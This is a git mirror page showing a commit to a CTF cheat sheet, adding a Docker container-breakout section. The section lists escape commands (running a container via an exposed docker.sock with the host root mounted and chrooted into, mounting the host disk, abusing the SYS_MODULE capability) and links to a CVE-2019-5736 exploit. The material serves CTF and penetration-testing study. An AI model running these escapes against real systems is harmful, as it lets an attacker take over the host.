mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-22 03:53:03 +00:00
Update Cheat Sheet.md
This commit is contained in:
parent
f12190885c
commit
e23ed6c5f7
1 changed files with 14 additions and 0 deletions
|
@ -616,3 +616,17 @@ Break out of docker container<br/>
|
|||
If docker.sock is on conatiner , upload static docker binary<br/>
|
||||
`./docker -H unix:///var/run/docker.sock images`<br/>
|
||||
`./docker -H unix:///var/run/docker.sock run -it -v /:/host/ wordpress chroot /host`<br/>
|
||||
|
||||
## Docker Breakout/Exploits
|
||||
|
||||
* If we have a privilege docker and we can run command `fdisk -l` and view storage on the machine then we can mount the host file system <br/>
|
||||
|
||||
`mount /dev/sda<x> /mnt/host`
|
||||
|
||||
* We can look for container capabilites on docker with `capsh --print` and exploit it SYS_MODULE
|
||||
|
||||
https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd
|
||||
|
||||
* There's another exploit realted to docker (CVE-2019-5736)
|
||||
|
||||
https://github.com/Frichetten/CVE-2019-5736-PoC
|
||||
|
|
Loading…
Reference in a new issue